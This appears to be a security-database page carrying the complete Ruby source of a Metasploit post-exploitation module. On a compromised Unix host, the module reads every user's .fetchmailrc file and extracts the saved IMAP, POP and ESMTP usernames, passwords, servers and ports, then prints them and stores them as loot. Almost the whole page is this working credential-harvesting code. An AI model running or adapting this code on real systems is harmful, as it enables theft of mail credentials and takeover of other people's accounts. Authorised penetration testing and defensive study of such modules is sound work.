UNIX Gather .fetchmailrc Credentials

2012-02-12T19:24:21
ID MSF:POST/MULTI/GATHER/FETCHMAILRC_CREDS
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Post Module to obtain credentials saved for IMAP, POP and other mail retrieval protocols in fetchmail's .fetchmailrc

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'UNIX Gather .fetchmailrc Credentials',
      'Description'   => %q{
        Post Module to obtain credentials saved for IMAP, POP and other mail
        retrieval protocols in fetchmail's .fetchmailrc
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Jon Hart <jhart[at]spoofed.org>' ],
      'Platform'      => %w{ bsd linux osx unix },
      'SessionTypes'  => [ 'shell' ]
    ))
  end

  def run
    # A table to store the found credentials.
    cred_table = Rex::Text::Table.new(
    'Header'    => ".fetchmailrc credentials",
    'Indent'    => 1,
    'Columns'   =>
    [
      "Username",
      "Password",
      "Server",
      "Protocol",
      "Port"
    ])

    # walk through each user directory
    enum_user_directories.each do |user_dir|
      fetchmailrc_file = ::File.join(user_dir, ".fetchmailrc")
      begin
        # read their .fetchmailrc if it exists
        lines = cmd_exec("test -r #{fetchmailrc_file} && cat #{fetchmailrc_file}").lines.to_a
        next if (lines.size <= 0)
        print_status("Parsing #{fetchmailrc_file}")

        # delete any comments
        lines.delete_if { |l| l =~ /^#/ }
        # trim any leading/trailing whitespace
        lines.map { |l| l.strip! }
        # turn any multi-line config options into a single line to ease parsing
        (lines.size - 1).downto(0) do |i|
          # if the line we are reading doesn't signify a new configuration section...
          if ((not lines[i] =~ /^(?:defaults|poll|skip)\s+/))
            # append the current line to the previous
            lines[i-1] << " "
            lines[i-1] << lines[i]
            # and axe the current line
            lines.delete_at(i)
          end
        end

        # any default options found, used as defaults for poll or skip lines
        # that are missing options and want to use defaults
        defaults = {}

        # now parse each line found
        lines.each do |line|
          # if there is a 'default' line, save any of these options as
          # they should be used when subsequent poll/skip lines are missing them.
          if (line =~ /^defaults/)
            defaults = parse_fetchmailrc_line(line).first
            next
          end

          # now merge the currently parsed line with whatever defaults may have
          # been found, then save if there is enough to save
          parse_fetchmailrc_line(line).each do |cred|
            cred = defaults.merge(cred)
            if (cred[:host] and cred[:protocol])
              if (cred[:users].size == cred[:passwords].size)
                cred[:users].each_index do |i|
                  cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
                end
              else
                print_error("Skipping '#{line}' -- number of users and passwords not equal")
              end
            end
          end
        end
      rescue ::Exception => e
        print_error("Couldn't read #{fetchmailrc_file}: #{e.to_s}")
      end
    end


    if cred_table.rows.empty?
      print_status("No creds collected")
    else
      print_line("\n" + cred_table.to_s)

      # store all found credentials
      p = store_loot(
        "fetchmailrc.creds",
        "text/csv",
        session,
        cred_table.to_csv,
        "fetchmailrc_credentials.txt",
        ".fetchmailrc credentials")

      print_status("Credentials stored in: #{p.to_s}")
    end
  end

  # Parse a line +line+, assumed to be from a fetchmail configuration file,
  # returning an array of all credentials found on that line
  def parse_fetchmailrc_line(line)
    creds = []
    cred = {}
    # parse and clean any users
    users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
    unless (users.empty?)
      cred[:users] = []
      users.each do |user|
        cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
      end
    end
    # parse and clean any passwords
    passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
    unless (passwords.empty?)
      cred[:passwords] = []
      passwords.each do |password|
        cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
      end
    end
    # parse any hosts, ports and protocols
    cred[:protocol] = $1 if (line =~ /\s+proto(?:col)?\s+(\S+)/)
    cred[:port] = $1 if (line =~ /\s+(?:port|service)\s+(\S+)/)
    cred[:host] = $1 if (line =~ /^(?:poll|skip)\s+(\S+)/)
    # a 'via' option overrides poll/skip
    cred[:host] = $1 if (line =~ /\s+via\s+(\S+)/)
    # save this credential
    creds << cred
    # fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
    # connecting to some SMTP server and sending it.  If ESMTP AUTH (RFC 2554) credentials
    # are specified, steal those too.
    cred = {}
    cred[:users] = [ $1 ] if (line =~ /\s+esmtpname\s+(\S+)/)
    cred[:passwords] = [ $1 ] if (line =~ /\s+esmtppassword\s+(\S+)/)
    # XXX: what is the best way to get the host we are currently looting?  localhost is lame.
    cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? $1 : 'localhost')
    cred[:protocol] = 'esmtp'
    # save the ESMTP credentials if we've found enough
    creds << cred if (cred[:users] and cred[:passwords] and cred[:host])
    # return all found credentials
    creds
  end
end